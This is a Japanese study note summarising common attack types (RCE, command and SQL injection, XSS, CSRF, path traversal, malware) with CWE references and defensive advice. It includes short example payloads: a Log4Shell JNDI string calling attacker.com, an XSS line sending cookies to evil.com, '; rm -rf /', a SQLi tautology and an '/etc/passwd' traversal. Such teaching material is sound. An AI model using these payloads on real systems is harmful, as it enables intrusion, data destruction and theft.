224 lines
8.4 KiB
Markdown
224 lines
8.4 KiB
Markdown
# 攻撃について
|
||
|
||
- [攻撃について](#攻撃について)
|
||
- [OSコマンド系 RCE(Remote Code Execution)](#osコマンド系-rceremote-code-execution)
|
||
- [OSコマンドインジェクション](#osコマンドインジェクション)
|
||
- [WEBアプリ系](#webアプリ系)
|
||
- [SQLインジェクション(SQLi)](#sqlインジェクションsqli)
|
||
- [XSS(Cross-Site Scripting)](#xsscross-site-scripting)
|
||
- [CSRF](#csrf)
|
||
- [認証・セッション系](#認証セッション系)
|
||
- [認証回避](#認証回避)
|
||
- [権限昇格](#権限昇格)
|
||
- [セッションハイジャック](#セッションハイジャック)
|
||
- [ファイル関係](#ファイル関係)
|
||
- [ファイルアップロードの悪用](#ファイルアップロードの悪用)
|
||
- [パストラバーサル](#パストラバーサル)
|
||
- [マルウェア](#マルウェア)
|
||
- [ランサムウェア](#ランサムウェア)
|
||
- [クリプトマイナー](#クリプトマイナー)
|
||
- [トロイの木馬](#トロイの木馬)
|
||
- [スパイウェア](#スパイウェア)
|
||
|
||
|
||
| 攻撃カテゴリ | 攻撃名 | 概要 | 代表CWE | 代表例 |
|
||
| ---------------- | ------------------------- | -------------------- | ------------ | ------------------ |
|
||
| **RCE / 実行系** | Remote Code Execution | 遠隔で任意コード実行 | CWE-94 / 502 | Log4Shell |
|
||
| | OS Command Injection | OSコマンドを注入 | CWE-78 | `; rm -rf /` |
|
||
| | Deserialization | 復元時にコード実行 | CWE-502 | Java deserialize |
|
||
| **Injection系** | SQL Injection | SQL文改ざん | CWE-89 | ログイン回避 |
|
||
| | Command Injection | コマンド文字列注入 | CWE-77 | shell_exec |
|
||
| | Template Injection | テンプレRCE | CWE-1336 | SSTI |
|
||
| | XPath Injection | XML検索改ざん | CWE-643 | XML API |
|
||
| **Web系** | XSS | JS注入 | CWE-79 | Cookie窃取 |
|
||
| | CSRF | 権限の悪用 | CWE-352 | 管理操作 |
|
||
| | Open Redirect | 任意URL遷移 | CWE-601 | フィッシング |
|
||
| **認証・認可** | Auth Bypass | 認証回避 | CWE-287 | ロジック不備 |
|
||
| | Privilege Escalation | 権限昇格 | CWE-269 | 管理者化 |
|
||
| | Session Fixation | セッション固定 | CWE-384 | 乗っ取り |
|
||
| **ファイル系** | Path Traversal | 任意ファイル参照 | CWE-22 | `../../etc/passwd` |
|
||
| | File Upload Abuse | WebShell設置 | CWE-434 | `.php` upload |
|
||
| | Arbitrary File Write | 任意書込 | CWE-73 | 設定改ざん |
|
||
| **設定ミス** | Security Misconfiguration | 設定不備 | CWE-16 | DEBUG=true |
|
||
| | Default Credentials | 初期PW | CWE-798 | admin/admin |
|
||
| | Exposed Secret | 鍵流出 | CWE-522 | SECRET_KEY |
|
||
| **情報漏洩** | Info Disclosure | 情報漏洩 | CWE-200 | stack trace |
|
||
| | Sensitive Data Exposure | 機密漏洩 | CWE-359 | PII漏洩 |
|
||
| **DoS系** | Denial of Service | サービス停止 | CWE-400 | 無限ループ |
|
||
| | ReDoS | 正規表現DoS | CWE-1333 | catastrophic regex |
|
||
| **Supply Chain** | Dependency Confusion | 依存関係偽装 | CWE-829 | npm事件 |
|
||
| | Malicious Package | 悪意あるlib | CWE-1357 | PyPI malware |
|
||
| **マルウェア** | Ransomware | 暗号化恐喝 | ATT&CK T1486 | LockBit |
|
||
| | Cryptominer | 不正マイニング | ATT&CK T1496 | xmrig |
|
||
| **横展開** | Lateral Movement | 内部拡散 | ATT&CK T1021 | 内部侵入 |
|
||
| | Container Escape | コンテナ脱出 | CWE-250 | runc |
|
||
|
||
|
||
|
||
## 設定ミスによるセキュリティリスク
|
||
|
||
セキュリティで実際に多いのは、設定ミスによるものが多いです
|
||
|
||
* 公開S3/GCSなどのストレージ
|
||
* .envの流出
|
||
* 管理画面の公開
|
||
* 本番前のDEBUG=true
|
||
|
||
|
||
## OSコマンド系 RCE(Remote Code Execution)
|
||
|
||
* OSコマンド実行も含む上位概念
|
||
* ライブラリ脆弱性で多発
|
||
|
||
(例)
|
||
**deserialization:**
|
||
悪意あるオブジェクト構造を作りdeserializationさせることで
|
||
内部でコードが実行される可能性がある
|
||
|
||
```java
|
||
ObjectInputStream in = new ObjectInputStream(input);
|
||
Object obj = in.readObject(); // ← ここが危険
|
||
```
|
||
**Log4Shell:**
|
||
* CVE-2021-44228
|
||
* Javaのログライブラリ: Log4j 2
|
||
|
||
以下のコードでは攻撃者が用意したJavaクラスのコードが、
|
||
あなたのサーバー上で実行されます
|
||
|
||
```java
|
||
userInput = ${jndi:ldap://attacker.com/a}
|
||
log.info("User: {}", userInput);
|
||
```
|
||
|
||
### OSコマンドインジェクション
|
||
|
||
外部入力からshell実行ができる
|
||
|
||
```
|
||
ping ${user_input}
|
||
```
|
||
に対して`; rm -rf /`を実行する
|
||
|
||
* 影響: サーバ完全制御
|
||
* CVSS: 9〜10
|
||
* 関連CWE: CWE-78
|
||
|
||
## WEBアプリ系
|
||
|
||
### SQLインジェクション(SQLi)
|
||
|
||
* DBの中身丸見えになる
|
||
* 認証回避
|
||
* データ破壊
|
||
* CWE-89
|
||
|
||
```sql
|
||
SELECT * FROM users WHERE id = '1' OR '1'='1';
|
||
```
|
||
|
||
### XSS(Cross-Site Scripting)
|
||
|
||
* Cookie盗難
|
||
* セッション乗っ取り
|
||
|
||
JavaScript注入
|
||
|
||
```html
|
||
<script>fetch("evil.com?cookie="+document.cookie)</script>
|
||
```
|
||
|
||
**種類**:
|
||
* Stored
|
||
* Reflected
|
||
* DOM-based
|
||
|
||
### CSRF
|
||
|
||
* ユーザーの権限を勝手に使う
|
||
* ログイン中に踏ませる
|
||
* 管理操作が実行される
|
||
|
||
## 認証・セッション系
|
||
|
||
### 認証回避
|
||
|
||
* default password
|
||
* SECRET_KEY漏洩
|
||
* JWT署名鍵漏れ
|
||
|
||
### 権限昇格
|
||
|
||
* root取得
|
||
* container escape
|
||
|
||
|
||
### セッションハイジャック
|
||
|
||
* Cookie盗難
|
||
* セッションハイジャック
|
||
|
||
## ファイル関係
|
||
|
||
### ファイルアップロードの悪用
|
||
|
||
.php
|
||
.jsp
|
||
.py
|
||
→ WebShell設置
|
||
|
||
### パストラバーサル
|
||
|
||
```sh
|
||
../../etc/passwd
|
||
```
|
||
|
||
機密ファイル漏洩
|
||
|
||
---
|
||
|
||
## マルウェア
|
||
|
||
マルウェアとは、悪意のあるソフトウェアの総称
|
||
|
||
**主な感染路は**
|
||
* 電子メール: 添付ファイルを開いたり、本文中のURLをクリックしたりする。
|
||
+ Webサイト: 悪意のあるサイトを閲覧したり、偽のサイトからダウンロードしたりする。
|
||
+ ソフトウェア:信頼できないフリーソフトのインストール時など。
|
||
**技術的な対策**
|
||
* セキュリティソフト(ウイルス対策ソフト)の導入
|
||
* リアルタイムスキャン機能により、既知のマルウェアの侵入を検知・ブロック
|
||
* OSとソフトウェアの最新化
|
||
* OSやアプリケーションの脆弱性(セキュリティ上の欠陥)を狙って侵入することが多い
|
||
* 提供元からリリースされるセキュリティパッチを速やかに適用
|
||
* 自動更新を有効に設定することを強く推奨します。
|
||
* ファイアウォールの有効化
|
||
* 不正なネットワーク通信を遮断する
|
||
* 外部からの不正アクセスやマルウェアによる外部への情報送信を防ぎます。
|
||
|
||
### ランサムウェア
|
||
|
||
ファイルを暗号化して使えなくし、元に戻す代わりに金銭を要求する。
|
||
|
||
* 暗号化して身代金要求
|
||
* 侵入後に展開
|
||
* バックアップも破壊
|
||
* 有名なランサムウェア
|
||
* LockBit攻撃
|
||
* WannaCry攻撃
|
||
|
||
### クリプトマイナー
|
||
|
||
* CPU / GPUを勝手に使用
|
||
* Cloud Run / K8sで多発
|
||
|
||
### トロイの木馬
|
||
|
||
便利なソフトに見せかけて侵入し、
|
||
裏で情報を盗んだり不正な操作を行ったりする。
|
||
|
||
### スパイウェア
|
||
|
||
ユーザーに気づかれずに個人情報や閲覧履歴などを盗み出す。
|
||
|